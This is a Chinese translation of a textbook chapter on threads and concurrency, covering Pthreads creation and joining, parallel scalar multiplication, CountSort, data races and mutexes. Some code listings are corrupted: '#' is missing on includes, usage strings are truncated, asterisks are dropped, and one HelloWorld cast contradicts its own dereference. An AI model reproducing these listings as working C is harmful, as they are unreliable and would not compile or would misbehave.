在这个例子中,进程执行的顺序是 P1、P2、P1、P2、P4、P2、P3、P4、P5、P3、P5。我们在这里花点时间区分两种时间度量。*CPU 时间*衡量一个进程在 CPU 上执行的时间。相比之下,*实时时间*衡量一个人感知到的进程完成所需的时间。由于上下文切换的存在,实时时间通常比 CPU 时间长得多。例如,进程 1 的 CPU 时间需要两个时间单位,而其实时时间需要三个时间单位。
当一个进程的总执行时间与另一个进程重叠时,进程是*并发*执行的。操作系统在单核时代使用并发性,给人一种计算机可以同时执行许多任务的假象(例如,你可以同时打开计算器程序、网页浏览器和文字处理文档)。实际上,每个进程是串行执行的,操作系统决定了进程执行和完成的顺序(通常在后续运行中有所不同);参见第 625 页的“多任务处理与上下文切换”。
回到这个例子,观察到进程 1 和进程 2 是并发执行的,因为它们的执行在 T2 到 T4 时间点重叠。同样,进程 2 与进程 4 并发执行,因为它们的执行在 T4 到 T6 时间点重叠。相反,进程 2 与进程 3*不*并发执行,因为它们的执行没有重叠;进程 3 仅在 T7 时开始执行,而进程 2 在 T6 时完成。
多核 CPU 使操作系统能够将不同的进程调度到每个可用的核心,从而允许进程*同时*执行。多个核心上运行的进程指令同时执行被称为*并行执行*。图 14-2 展示了我们示例中的进程如何在双核系统上执行。

*图 14-2:五个进程的执行时间序列,扩展为包括两个 CPU 核心(一个为深灰色,另一个为浅灰色)*
在这个例子中,两个 CPU 核心的颜色不同。假设进程执行顺序再次为 P1、P2、P1、P2、P4、P2、P3、P4、P5、P3、P5。多个核心的存在使得某些进程能够*更早*执行。例如,在时间单位 T1 时,第一个核心执行进程 1,而第二个核心执行进程 2。到时间 T2,第一个核心执行进程 2,而第二个核心执行进程 1。因此,进程 1 在 T2 时间后完成执行,而进程 2 在 T3 时间完成执行。
请注意,多个进程的并行执行仅增加了在任意时刻执行的进程数量。在图 14-2 中,所有进程都在时间单位 T7 前完成执行。然而,每个进程仍然需要相同的 CPU 时间来完成,如图 14-1 所示。例如,进程 2 无论是在单核系统还是多核系统上执行,都需要三个时间单位(即其*CPU 时间*保持不变)。多核处理器增加了进程执行的*吞吐量*,即在给定时间内可以完成的进程数量。因此,即使单个进程的 CPU 时间保持不变,其墙钟时间可能会减少。
#### 14.1.2 使用线程加速进程执行
加速单个进程执行的一种方法是将其分解为轻量级、独立的执行流,称为*线程*。图 14-3 展示了当一个进程被两个线程多线程化时,其虚拟地址空间如何变化。尽管每个线程都有自己的私有调用栈内存分配,但所有线程都*共享*多线程进程的程序数据、指令和堆内存。

*图 14-3:比较单线程进程和有两个线程的多线程进程的虚拟地址空间*
操作系统调度线程的方式与调度进程的方式相同。在多核处理器上,操作系统通过将不同的线程调度到不同的核心上来加速多线程程序的执行。可以并行执行的最大线程数等于系统中物理核心的数量。如果线程数超过物理核心数,剩余的线程必须等待轮到它们执行(类似于进程在单核上执行的方式)。
##### 示例:标量乘法
作为如何使用多线程加速应用程序的初步示例,考虑对数组`array`和某个整数`s`进行标量乘法的问题。在标量乘法中,数组中的每个元素都通过与`s`相乘来进行缩放。
一个标量乘法函数的串行实现如下:
void scalar_multiply(int * array, long length, int s) {
for (i = 0; i < length; i++) {
array[i] = array[i] * s;
}
}
假设`array`有*N*个元素。要创建一个具有*t*个线程的多线程版本应用程序,必须:
1\. 创建*t*个线程。
2\. 给每个线程分配输入数组的一个子集(即*N*/*t*个元素)。
3\. 指示每个线程将其数组子集中的元素与`s`相乘。
假设`scalar_multiply`的串行实现需要 60 秒来乘以一个包含 1 亿个元素的输入数组。为了构建一个使用*t* = 4 个线程执行的版本,我们将总输入数组的四分之一(2500 万个元素)分配给每个线程。
图 14-4 显示了在单核上运行四个线程时的情况。如前所述,执行顺序由操作系统决定。在这个场景下,假设线程的执行顺序为线程 1、线程 3、线程 2、线程 4。在单核处理器(由方块表示)上,每个线程按顺序执行。因此,运行在一个核心上的多线程过程仍然需要 60 秒才能运行(考虑到创建线程的开销,可能稍微长一些)。

*图 14-4:在单核 CPU 上运行四个线程*
现在假设我们在双核系统上运行我们的多线程进程。图 14-5 显示了结果。再次假设 *t* = 4 个线程,线程执行顺序为 线程 1、线程 3、线程 2、线程 4。我们的两个核心由阴影方块表示。由于系统是双核,线程 1 和线程 3 在时间步 T1 内并行执行。然后,线程 2 和线程 4 在时间步 T2 内并行执行。因此,原本需要 60 秒运行的多线程进程现在只需 30 秒。

*图 14-5:在双核 CPU 上运行四个线程*
最后,假设多线程进程(*t* = 4)在四核 CPU 上运行。图 14-6 显示了这样的执行序列。图 14-6 中的四个核心分别用不同的阴影表示。在四核系统中,每个线程在时间片 T1 内并行执行。因此,在四核 CPU 上,原本需要 60 秒的多线程进程现在只需 15 秒。

*图 14-6:在四核 CPU 上运行四个线程*
一般来说,如果线程数与核心数(*c*)匹配,并且操作系统将每个线程调度到不同的核心并行执行,那么多线程进程的运行时间大约是 1/*c*。这种线性加速是理想的,但在实践中并不常见。例如,如果有很多其他进程(或多线程进程)在等待使用 CPU,它们会争夺有限的核心数量,从而导致进程之间的*资源争用*。如果指定的线程数超过了 CPU 核心数,每个线程就必须等待轮到它执行。我们将在“页面 709”的“测量并行程序性能”一节中探讨其他经常阻碍线性加速的因素。
### 14.2 你好,线程!编写你的第一个多线程程序
本节我们将讨论无处不在的 POSIX 线程库 *Pthreads*。POSIX 是可移植操作系统接口的缩写,它是一个 IEEE 标准,规定了 UNIX 系统的外观、行为和感觉。POSIX 线程 API 几乎可以在所有类 UNIX 操作系统上使用,每个系统都完全或在很大程度上遵循该标准。因此,如果你在 Linux 机器上使用 POSIX 线程编写并行代码,它肯定可以在其他 Linux 机器上运行,并且很可能也能在运行 macOS 或其他 UNIX 变种的机器上运行。
让我们从分析一个“Hello World”Pthreads 程序开始。^(2) 为了简洁,我们在列表中省略了错误处理,尽管可下载版本包含了示例错误处理。
include <stdio.h>
include <stdlib.h>
include <pthread.h>
/* The "thread function" passed to pthread_create. Each thread executes this
* function and terminates when it returns from this function. */
void *HelloWorld(void *id) {
/* We know the argument is a pointer to a long, so we cast it from a
* generic (void *) to a (long *). */
long *myid = (long *) id;
printf("Hello world! I am thread %ld\n", *myid);
return NULL; // We don't need our threads to return anything.
}
int main(int argc, char **argv) {
int i;
int nthreads; //number of threads
pthread_t *thread_array; //pointer to future thread array
long *thread_ids;
// Read the number of threads to create from the command line.
if (argc !=2) {
fprintf(stderr, "usage: %s
fprintf(stderr, "where
return 1;
}
nthreads = strtol(argv[1], NULL, 10);
// Allocate space for thread structs and identifiers.
thread_array = malloc(nthreads * sizeof(pthread_t));
thread_ids = malloc(nthreads * sizeof(long));
// Assign each thread an ID and create all the threads.
for (i = 0; i < nthreads; i++) {
thread_ids[i] = i;
pthread_create(&thread_array[i], NULL, HelloWorld, &thread_ids[i]);
}
/* Join all the threads. Main will pause in this loop until all threads
* have returned from the thread function. */
for (i = 0; i < nthreads; i++) {
pthread_join(thread_array[i], NULL);
}
free(thread_array);
free(thread_ids);
return 0;
}
让我们将这个程序分解成更小的组件。注意包括了`pthread.h`头文件,它声明了`pthread`类型和函数。接下来,`HelloWorld`函数定义了*线程函数*,我们稍后将其传递给`pthread_create`。线程函数类似于工作线程(创建线程)的`main`函数——线程从线程函数的开始处开始执行,直到到达末尾时终止。每个线程使用其私有的执行状态(即它自己的堆栈内存和寄存器值)执行线程函数。还需注意,线程函数的类型为`void *`。在此上下文中指定*匿名指针*,允许程序员编写可以处理不同类型参数和返回值的线程函数(参见第 222 页的《void *类型和类型重 casting》)。最后,在`main`函数中,主线程初始化程序状态后,创建并连接工作线程。
#### 14.2.1 创建和连接线程
该程序首先作为单线程进程启动。在执行`main`函数时,它读取要创建的线程数,并为两个数组分配内存:`thread_array`和`thread_ids`。`thread_array`数组包含为每个创建的线程分配的地址集合。`thread_ids`数组存储传递给每个线程的参数集合。在此示例中,每个线程都会传递它的等级(或 ID,表示为`thread_ids[i]`)的地址。
在所有初始变量分配和初始化之后,`main`线程执行多线程的两个主要步骤:
+ *创建*步骤,其中主线程生成一个或多个工作线程。每个工作线程在生成后,在其自己的执行上下文中并发运行,与系统中的其他线程和进程共同执行。
+ *连接*步骤,其中主线程等待所有工作线程完成,然后继续作为单线程进程。连接一个已终止的线程会释放该线程的执行上下文和资源。尝试连接一个*未*终止的线程会阻塞调用者,直到该线程终止,类似于进程的`wait`函数的语义(参见第 635 页的《exit 和 wait》)。
Pthreads 库提供了`pthread_create`函数用于创建线程,`pthread_join`函数用于连接线程。`pthread_create`函数的签名如下:
pthread_create(pthread_t *thread, const pthread_attr_t *attr,
void *thread_function, void *thread_args)
该函数接受一个指向线程结构体(类型为`pthread_t`)的指针,一个指向属性结构体的指针(通常设置为`NULL`),线程应执行的函数名称,以及启动时传递给线程函数的参数数组。
Hello World 程序在`main`函数中使用`pthread_create`调用:
pthread_create(&thread_array[i], NULL, HelloWorld, &thread_ids[i]);
这里:
+ `&thread_array[i]` 包含线程 *i* 的地址。`pthread_create` 函数分配一个 `pthread_t` 线程对象,并将其地址存储在此位置,使程序员能够稍后引用该线程(例如,在合并时)。
+ `NULL` 表示线程应该使用默认属性创建。在大多数程序中,将这个第二个参数留空为 `NULL` 是安全的。
+ `HelloWorld` 是创建的线程应该执行的线程函数的名称。这个函数就像线程的“主”函数。对于一个任意线程函数(例如,`function`),它的原型必须匹配 `void * function(void *)` 这种形式。
+ `&thread_ids[i]` 指定要传递给线程 *i* 的参数的地址。在这种情况下,`thread_ids[i]` 包含一个表示线程 ID 的单个 `long` 类型的值。由于 `pthread_create` 的最后一个参数必须是一个指针,因此我们传递线程 ID 的 *地址*。
为了生成多个执行 `HelloWorld` 线程函数的线程,程序为每个线程分配一个唯一的 ID,并在 `for` 循环中创建每个线程:
for (i = 0; i < nthreads; i++) {
thread_ids[i] = i;
pthread_create(&thread_array[i], NULL, HelloWorld, &thread_ids[i]);
}
操作系统调度每个创建的线程的执行;用户无法对线程执行的顺序做出任何假设。
`pthread_join` 函数会挂起调用者的执行,直到它引用的线程终止。其函数签名为:
pthread_join(pthread_t thread, void **return_val)
`pthread_join` 以 `pthread_t` 结构体为输入,指示要等待的线程,并且有一个可选的指针参数,指定线程的返回值应存储的位置。
`Hello World` 程序在 `main` 中使用以下代码调用 `pthread_join`:
pthread_join(thread_array[t], NULL);
这一行表示主线程必须等待线程 `t` 的终止。将 `NULL` 作为第二个参数传递表示程序不使用线程的返回值。
在之前的程序中,`main` 在循环中调用 `pthread_join`,因为 *所有* 工作线程需要在 `main` 函数继续清理内存并终止进程之前终止:
for (i = 0; i < nthreads; i++) {
pthread_join(thread_array[i], NULL);
}
#### 14.2.2 线程函数
在之前的程序中,每个生成的线程都会打印 `Hello world! I am thread n`,其中 `n` 是线程的唯一标识符。在线程打印出消息后,它会终止。让我们更仔细地看看 `HelloWorld` 函数:
void *HelloWorld(void *id) {
long myid = (long)id;
printf("Hello world! I am thread %ld\n", *myid);
return NULL;
}
回顾一下,`pthread_create`通过`thread_args`参数将参数传递给线程函数。在`main`中的`pthread_create`函数中,Hello World 程序指定该参数实际上是线程的 ID。注意,`HelloWorld`的参数必须声明为通用或匿名指针(`void *`)(参见第 126 页的《void *类型与类型重 casting》)。Pthreads 库使用`void *`使得`pthread_create`更加通用,不对参数类型进行限制。作为程序员,使用`void *`有些不方便,因为在使用之前必须进行类型转换。在这里,我们*知道*该参数是`long *`类型,因为我们在`main`中传递给`pthread_create`的就是这个类型。因此,我们可以安全地将其转换为`long *`并解引用指针以访问`long`值。许多并行程序遵循这种结构。
与线程函数的参数类似,Pthreads 库通过指定另一个`void *`来避免规定线程函数的返回类型:程序员可以自由地从线程函数中返回任何指针。如果程序需要访问线程的返回值,它可以通过`pthread_join`的第二个参数来获取。在我们的示例中,线程不需要返回值,因此它只是返回一个`NULL`指针。
#### 14.2.3 运行代码
接下来的命令展示了如何使用 GCC 编译程序。构建一个 Pthreads 应用程序需要将`-lpthread`链接器标志传递给 GCC,以确保 Pthreads 函数和类型是可访问的:
$ gcc -o hellothreads hellothreads.c -lpthread
在没有命令行参数的情况下运行程序会显示用法信息:
$ ./hellothreads
usage: ./hellothreads
where
使用四个线程运行程序会产生以下输出:
$ ./hellothreads 4
Hello world! I am thread 1
Hello world! I am thread 2
Hello world! I am thread 3
Hello world! I am thread 0
请注意,每个线程都会打印其唯一的 ID 号码。在此次运行中,线程 1 的输出最先显示,其次是线程 2、3 和 0。如果我们再次运行程序,可能会看到输出的顺序发生变化:
$ ./hellothreads 4
Hello world! I am thread 0
Hello world! I am thread 1
Hello world! I am thread 2
Hello world! I am thread 3
回顾一下,操作系统的调度器决定了线程的执行顺序。从用户的角度来看,由于受到许多用户无法控制的因素(例如可用系统资源、系统接收输入或操作系统调度等)的影响,顺序是*实际上是随机的*。由于所有线程都是并发执行的,并且每个线程都会调用`printf`(它会打印到`stdout`),因此,第一个打印到`stdout`的线程的输出将首先显示。后续的执行可能(或可能不会)导致不同的输出。
**警告 线程执行顺序**
你*永远*不要对线程执行的顺序做出任何假设。如果程序的正确性要求线程按特定顺序执行,你必须为程序添加同步机制(参见第 686 页的《线程同步》),以防止线程在不该运行的时候执行。
#### 14.2.4 再次探讨标量乘法
让我们探索如何从“示例:标量乘法”中创建一个多线程实现程序,见第 675 页。回顾我们并行化`scalar_multiply`的一般策略是创建多个线程,分配每个线程一个输入数组的子集,并指示每个线程将其数组子集中的元素与`s`相乘。
以下是一个线程函数,它完成了这个任务。注意,我们已将`array`、`length`和`s`移到程序的全局范围。
long *array; //allocated in main
long length; //set in main (1 billion)
long nthreads; //number of threads
long s; //scalar
void *scalar_multiply(void *id) {
long *myid = (long *) id;
int i;
//assign each thread its own chunk of elements to process
long chunk = length / nthreads;
long start = *myid * chunk;
long end = start + chunk;
if (*myid == nthreads - 1) {
end = length;
}
//perform scalar multiplication on assigned chunk
for (i = start; i < end; i++) {
array[i] *= s;
}
return NULL;
}
我们将这部分内容分解成几个步骤。回想一下,第一步是为每个线程分配数组的一个部分。以下几行代码实现了这一任务:
long chunk = length / nthreads;
long start = *myid * chunk;
long end = start + chunk;
变量`chunk`存储每个线程分配的元素数量。为了确保每个线程的工作量大致相同,我们首先将块大小设置为元素数量除以线程数量,即`length / nthreads`。
接下来,我们为每个线程分配一个不同的元素范围进行处理。每个线程使用`chunk`大小和其唯一的线程 ID 来计算其范围的`start`和`end`索引。
例如,使用四个线程(ID 为 0 到 3)操作一个包含 1 亿个元素的数组,每个线程负责处理一个 2500 万个元素的`chunk`。通过引入线程 ID,将为每个线程分配输入数据的唯一子集。
接下来的两行代码考虑了`length`不能被线程数量整除的情况:
if (*myid == nthreads - 1) {
end = length;
}
假设我们指定了三个线程而不是四个线程。名义上的块大小将是 33,333,333 个元素,剩下一个元素没有被分配。前面的示例代码会将剩余的元素分配给最后一个线程。
**注意 创建平衡的输入**
上面展示的分块代码并不完美。在线程数量无法整除输入数据的情况下,余数将分配给最后一个线程。考虑一个样例运行,其中数组有 100 个元素,指定了 12 个线程。名义上的块大小是 8,余数是 4。使用示例代码时,前 11 个线程每个线程将分配 8 个元素,而最后一个线程将分配 12 个元素。因此,最后一个线程的工作量是其他线程的 50%。一种可能更好的分块方法是让前 4 个线程处理 9 个元素,而最后 8 个线程处理 8 个元素。这将有助于更好的*负载均衡*,使得各线程处理的输入量更加均衡。
在计算出合适的本地`start`和`end`索引后,每个线程现在准备在其数组部分上执行标量乘法操作。`scalar_multiply`函数的最后一部分完成了这一任务:
for (i = start; i < end; i++) {
array[i] *= s;
}
#### 14.2.5 改进标量乘法:多个参数
前一个实现的一个关键弱点是广泛使用了全局变量。在我们在《程序内存的部分和作用域》中讨论过的内容中,虽然全局变量有用,但一般应该避免在 C 语言中使用全局变量。为了减少程序中的全局变量数量,一种解决方案是在全局作用域中声明一个`t_arg`结构体,如下所示:
struct t_arg {
int *array; // pointer to shared array
long length; // num elements in array
long s; //scaling factor
long numthreads; // total number of threads
long id; // logical thread id
};
我们的主函数除了分配`array`并设置局部变量`length`、`nthreads`和`s`(缩放因子)外,还会分配一个`t_arg`记录的数组:
long nthreads = strtol(argv[1], NULL, 10); //get number of threads
long length = strtol(argv[2], NULL, 10); //get length of array
long s = strtol( argv[3], NULL, 10 ); //get scaling factor
int array = malloc(lengthsizeof(int));
//allocate space for thread structs and identifiers
pthread_t *thread_array = malloc(nthreads * sizeof(pthread_t));
struct t_arg *thread_args = malloc(nthreads * sizeof(struct t_arg));
//Populate thread arguments for all the threads
for (i = 0; i < nthreads; i++){
thread_args[i].array = array;
thread_args[i].length = length;
thread_args[i].s = s;
thread_args[i].numthreads = nthreads;
thread_args[i].id = i;
}
稍后在`main`中,当调用`pthread_create`时,线程相关的`t_args`结构体作为参数传递:
for (i = 0; i < nthreads; i++){
pthread_create(&thread_array[i], NULL, scalar_multiply, &thread_args[i]);
}
最后,我们的`scalar_multiply`函数将如下所示:
void * scalar_multiply(void* args) {
//cast to a struct t_arg from void*
struct t_arg * myargs = (struct t_arg *) args;
//extract all variables from struct
long myid = myargs->id;
long length = myargs->length;
long s = myargs->s;
long nthreads = myargs->numthreads;
int * ap = myargs->array; //pointer to array in main
//code as before
long chunk = length/nthreads;
long start = myid * chunk;
long end = start + chunk;
if (myid == nthreads-1) {
end = length;
}
int i;
for (i = start; i < end; i++) {
ap[i] *= s;
}
return NULL;
}
完整实现此程序是留给读者的练习。请注意,出于简洁考虑,错误处理被省略了。
### 14.3 线程同步
在我们到目前为止所看到的示例中,每个线程执行时并不与其他线程共享数据。例如,在标量乘法程序中,数组的每个元素完全独立于其他元素,因此线程之间不需要共享数据。
然而,线程能够轻松与其他线程共享数据是其主要特性之一。回想一下,多线程进程中的所有线程共享进程的堆。在本节中,我们将详细研究线程的数据共享和保护机制。
*线程同步*指的是强制线程按照特定顺序执行。尽管同步线程可能会增加程序的运行时间,但它通常是确保程序正确性所必需的。本节我们主要讨论一个同步构造(*互斥锁*)如何帮助确保线程程序的正确性。我们将以*信号量*、*屏障*和*条件变量*等其他常见同步构造作为结尾进行讨论。
##### CountSort
让我们研究一个稍微复杂的例子,叫做 CountSort。CountSort 算法是一个简单的线性(O(*N*))排序算法,用于排序已知的小范围*R*值,其中*R*远小于*N*。为了说明 CountSort 是如何工作的,考虑一个包含 15 个元素的数组`A`,其中所有元素的值在 0 到 9 之间(10 个可能的值):
A = [9, 0, 2, 7, 9, 0, 1, 4, 2, 2, 4, 5, 0, 9, 1]
对于一个特定的数组,CountSort 的工作原理如下:
1\. 它统计数组中每个值的频率。
2\. 它通过按频率枚举每个值,覆盖原始数组。
在第 1 步之后,每个值的频率被放入一个长度为 10 的`counts`数组中,其中`counts[i]`的值是数组`A`中值*i*的频率。例如,由于数组`A`中有三个值为 2 的元素,`counts[2]`为 3。
对于前一个示例,相应的`counts`数组如下所示:
counts = [3, 2, 3, 0, 2, 1, 0, 1, 0, 3]
请注意,`counts`数组中所有元素的总和等于`A`的长度,即 15。
步骤 2 使用`counts`数组来覆盖`A`,利用频率计数来确定`A`中存储每个连续值的索引集合。因此,由于`counts`数组表明数组`A`中有三个值为 0 的元素和两个值为 1 的元素,最终数组的前三个元素将是 0,接下来的两个元素将是 1。
执行步骤 2 后,最终数组如下所示:
A = [0, 0, 0, 1, 1, 2, 2, 2, 4, 4, 5, 7, 9, 9, 9]
以下是 CountSort 算法的串行实现,其中`count`(步骤 1)和`overwrite`(步骤 2)函数清晰地划分。为了简洁起见,我们在此未展示完整程序,您可以下载源代码。^(3)
define MAX 10 //the maximum value of an element. (10 means 0-9)
/*step 1:
* compute the frequency of all the elements in the input array and store
* the associated counts of each element in array counts. The elements in the
* counts array are initialized to zero prior to the call to this function.
*/
void countElems(int *counts, int *array_A, long length) {
int val, i;
for (i = 0; i < length; i++) {
val = array_A[i]; //read the value at index i
counts[val] = counts[val] + 1; //update corresponding location in counts
}
}
/* step 2:
* overwrite the input array (array_A) using the frequencies stored in the
* array counts
*/
void writeArray(int *counts, int *array_A) {
int i, j = 0, amt;
for (i = 0; i < MAX; i++) { //iterate over the counts array
amt = counts[i]; //capture frequency of element i
while (amt > 0) { //while all values aren't written
array_A[j] = i; //replace value at index j of array_A with i
j++; //go to next position in array_A
amt--; //decrease the amount written by 1
}
}
}
/* main function:
* gets array length from command line args, allocates a random array of that
* size, allocates the counts array, the executes step 1 of the CountSort
* algorithm (countsElem) followed by step 2 (writeArray).
*/
int main( int argc, char **argv ) {
//code ommitted for brevity -- download source to view full file
srand(10); //use of static seed ensures the output is the same every run
long length = strtol( argv[1], NULL, 10 );
int verbose = atoi(argv[2]);
//generate random array of elements of specified length
int *array = malloc(length * sizeof(int));
genRandomArray(array, length);
//print unsorted array (commented out)
//printArray(array, length);
//allocate counts array and initializes all elements to zero.
int counts[MAX] = {0};
countElems(counts, array, length); //calls step 1
writeArray(counts, array); //calls step2
//print sorted array (commented out)
//printArray(array, length);
free(array); //free memory
return 0;
}
在大小为 15 的数组上运行此程序会产生以下输出:
$ ./countSort 15 1
array before sort:
5 8 8 5 8 7 5 1 7 7 3 3 8 3 4
result after sort:
1 3 3 3 4 5 5 5 7 7 7 8 8 8 8
该程序的第二个参数是一个*verbose*标志,指示程序是否打印输出。这对于较大的数组非常有用,我们可能希望运行程序,但不一定需要打印输出结果。
##### 并行化 countElems:初步尝试
CountSort 包含两个主要步骤,每个步骤都能通过并行化提高效率。在本章的其余部分,我们主要集中在步骤 1 的并行化,或`countElems`函数的并行化。至于并行化`writeArray`函数,留给读者作为练习。
接下来的代码块展示了创建线程化`countElems`函数的首次尝试。为了简洁起见,部分代码(如参数解析、错误处理)在这个示例中被省略,但完整源代码可以下载。^(4) 在接下来的代码中,每个线程尝试计算其分配的全局数组组件中元素的频率,并用发现的计数更新全局计数数组:
/*parallel version of step 1 (first cut) of CountSort algorithm:
* extracts arguments from args value
* calculates the portion of the array that thread is responsible for counting
* computes the frequency of all the elements in assigned component and stores
* the associated counts of each element in counts array
*/
void *countElems( void *args ) {
struct t_arg * myargs = (struct t_arg *)args;
//extract arguments (omitted for brevity)
int *array = myargs->ap;
long *counts = myargs->countp;
//... (get nthreads, length, myid)
//assign work to the thread
long chunk = length / nthreads; //nominal chunk size
long start = myid * chunk;
long end = (myid + 1) * chunk;
long val;
if (myid == nthreads-1) {
end = length;
}
long i;
//heart of the program
for (i = start; i < end; i++) {
val = array[i];
counts[val] = counts[val] + 1;
}
return NULL;
}
`main`函数看起来几乎与我们早期的示例程序相同:
int main(int argc, char **argv) {
if (argc != 4) {
//print out usage info (ommitted for brevity)
return 1;
}
srand(10); //static seed to assist in correctness check
//parse command line arguments
long t;
long length = strtol(argv[1], NULL, 10);
int verbose = atoi(argv[2]);
long nthreads = strtol(argv[3], NULL, 10);
//generate random array of elements of specified length
int *array = malloc(length * sizeof(int));
genRandomArray(array, length);
//specify counts array and initialize all elements to zero
long counts[MAX] = {0};
//allocate threads and args array
pthread_t *thread_array; //pointer to future thread array
thread_array = malloc(nthreads * sizeof(pthread_t)); //allocate the array
struct t_arg *thread_args = malloc( nthreads * sizeof(struct t_arg) );
//fill thread array with parameters
for (t = 0; t < nthreads; t++) {
//ommitted for brevity...
}
for (t = 0; t < nthreads; t++) {
pthread_create(&thread_array[t], NULL, countElems, &thread_args[t]);
}
for (t = 0; t < nthreads; t++) {
pthread_join(thread_array[t], NULL);
}
free(thread_array);
free(array);
if (verbose) {
printf("Counts array:\n");
printCounts(counts);
}
return 0;
}
为了可重复性,随机数生成器使用静态值(10)进行种子初始化,以确保`array`(因此也包括`counts`)总是包含相同的数字集合。另一个函数(`printCounts`)会打印出全局`counts`数组的内容。预期无论使用多少线程,`counts`数组的内容应该始终相同。为了简洁起见,错误处理已从代码中移除。
编译程序并分别使用一个、两个和四个线程处理 1000 万个元素时,产生了以下结果:
$ gcc -o countElems_p countElems_p.c -lpthread
$ ./countElems_p 10000000 1 1
Counts array:
999170 1001044 999908 1000431 999998 1001479 999709 997250 1000804 1000207
$ ./countElems_p 10000000 1 2
Counts array:
661756 661977 657828 658479 657913 659308 658561 656879 658070 657276
$ ./countElems_p 10000000 1 4
Counts array:
579846 580814 580122 579772 582509 582713 582518 580917 581963 581094
请注意,打印的结果在每次运行时有显著变化。特别是,当我们改变线程数时,结果似乎发生了变化!这不应该发生,因为我们使用静态种子确保每次运行都产生相同的数字集合。这些结果违背了多线程程序的一个基本规则:程序的输出应该是正确且一致的,无论使用多少线程。
由于我们第一次尝试并行化 `countElems` 似乎不起作用,让我们深入了解这个程序在做什么,并检查如何修复它。
##### 数据竞争
为了理解发生了什么,让我们考虑一个在多核系统中两个线程在两个不同核心上运行的示例。请记住,任何线程的执行都可能随时被操作系统抢占,这意味着每个线程可能在任何时刻执行特定函数的不同指令(或可能是相同的指令)。表 14-1 展示了 `countElems` 函数执行的一个可能路径。为了更好地说明发生了什么,我们将 `counts[val] = counts[val] + 1` 这一行翻译成以下等效指令的顺序:
1\. *读取* `counts[val]` 并放入寄存器。
2\. *修改* 寄存器,通过将其加 1。
3\. *写入* 寄存器的内容到 `counts[val]`。
这被称为 *读取-修改-写入* 模式。在表 14-1 中所示的例子中,每个线程在不同的核心上执行(线程 0 在核心 0 上,线程 1 在核心 1 上)。我们从时间步 *i* 开始检查进程的执行,在该时刻,两个线程的 `val` 都是 1。
**表 14-1:** 两个线程运行 `countElems` 的可能执行顺序
| **时间** | **线程 0** | **线程 1** |
| --- | --- | --- |
| *i* | 读取 `counts[1]` 并放入 Core 0 的寄存器 | … |
| *i* + 1 | 将寄存器值加 1 | 读取 `counts[1]` 并放入 Core 1 的寄存器 |
| *i* + 2 | 使用寄存器内容覆盖 `counts[1]` | 将寄存器值加 1 |
| *i* + 3 | … | 使用寄存器内容覆盖 `counts[1]` |
假设在表 14-1 中展示的执行顺序之前,`counts[1]` 包含值 60。在时间步 *i* 时,线程 0 读取 `counts[1]` 并将值 60 放入 Core 0 的寄存器。在时间步 *i* + 1 时,当线程 0 将 Core 0 的寄存器加 1 时,`counts[1]` 中的 *当前* 值(60)被线程 1 读取并放入 Core 1 的寄存器。在时间步 *i* + 2 时,线程 0 用值 61 更新 `counts[1]`,而线程 1 将存储在其本地寄存器中的值(60)加 1。最终结果是,在时间步 *i* + 3 时,`counts[1]` 的值被线程 1 用值 61 覆盖,而不是我们预期的 62!这导致 `counts[1]` 实际上“丢失”了一个增量!
我们将两个线程试图写入内存同一位置的情形称为*数据竞争*条件。更一般地,*竞争条件*是指任何两个操作的同时执行导致错误结果的情形。请注意,`counts[1]` 位置的同时读取本身并不构成竞争条件,因为通常可以无问题地独立从内存读取值。正是这一步与对 `counts[1]` 的写操作的结合,导致了错误的结果。读取–修改–写入模式是大多数多线程程序中引发特定类型竞争条件(即*数据竞争*)的常见来源。在我们讨论竞争条件及其解决方法时,重点关注数据竞争。
**注意 原子操作**
如果一个操作被定义为*原子操作*,那么线程会认为它是没有中断地执行的(换句话说,它是一个“全有或全无”的动作)。在某些库中,使用关键字或类型来指定某个计算块应该被视为原子操作。在前面的例子中,`counts[val] = counts[val] + 1`(即使写作 `counts[val]++`)*不是*原子操作,因为这一行实际上对应机器级别的多个指令。需要像互斥这样的同步构造来确保不会发生数据竞争。通常,除非明确强制互斥,否则所有操作都应假设为非原子操作。
请记住,并非所有两个线程的执行顺序都会导致数据竞争问题。考虑 表 14-2 中线程 0 和线程 1 的示例执行顺序。
**表 14-2:** 两个线程运行 `countElems` 的另一种可能执行顺序
| **时间** | **线程 0** | **线程 1** |
| --- | --- | --- |
| *i* | 读取 `counts[1]` 并放入核心 0 的寄存器 | … |
| *i* + 1 | 将寄存器加 1 | … |
| *i* + 2 | 用寄存器内容覆盖 `counts[1]` | … |
| *i* + 3 | … | 读取 `counts[1]` 并放入核心 1 的寄存器 |
| *i* + 4 | … | 将寄存器加 1 |
| *i* + 5 | … | 用寄存器内容覆盖 `counts[1]` |
在这个执行顺序中,线程 1 直到线程 0 用其新值(61)更新 `counts[1]` 后,才会读取 `counts[1]`。最终结果是,线程 1 在时间步长 *i* + 3 读取 `counts[1]` 的值 61,并将其放入核心 1 的寄存器中,在时间步长 *i* + 5 将值 62 写入 `counts[1]`。
为了解决数据竞争问题,我们必须首先隔离出*临界区*,即必须*原子性*执行的代码子集(单独执行),以确保正确的行为。在多线程程序中,更新共享资源的代码块通常被标识为临界区。
在 `countElems` 函数中,应该将对 `counts` 数组的更新放入临界区,以确保由于多个线程更新内存中的相同位置而不会丢失值:
long i;
for (i = start; i < end; i++) {
val = array[i];
counts[val] = counts[val] + 1; //this line needs to be protected
}
由于`countElems`中的根本问题是多个线程同时访问`counts`,因此需要一种机制来确保在任何时候只有一个线程能够在临界区内执行。使用同步构造(例如互斥锁,下一节将介绍)将强制线程按顺序进入临界区。
#### 14.3.1 互斥
*什么是互斥锁?答案在外面,它正在寻找你,*
*如果你希望它找到你,它就会找到你。*
—特里尼蒂,向尼奥解释互斥锁(向《黑客帝国》致歉)
为了修复数据竞争,我们使用一种称为互斥锁的同步构造,或*互斥锁*。互斥锁是一种同步原语,确保在任何给定时间,只有一个线程能够进入并执行临界区内的代码。
在使用互斥锁之前,程序必须首先在线程共享的内存中声明互斥锁(通常作为全局变量),然后在线程需要使用它之前初始化互斥锁(通常在`main`函数中)。
Pthreads 库定义了一个`pthread_mutex_t`类型用于互斥锁。要声明一个互斥锁变量,请添加以下代码:
pthread_mutex_t mutex;
要初始化互斥锁,使用`pthread_mutex_init`函数,该函数接收互斥锁的地址和一个属性结构,通常设置为`NULL`:
pthread_mutex_init(&mutex, NULL);
当互斥锁不再需要时(通常是在`main`函数的末尾,在`pthread_join`之后),程序应通过调用`pthread_mutex_destroy`函数释放互斥锁结构:
pthread_mutex_destroy(&mutex);
##### 互斥锁:锁定并加载
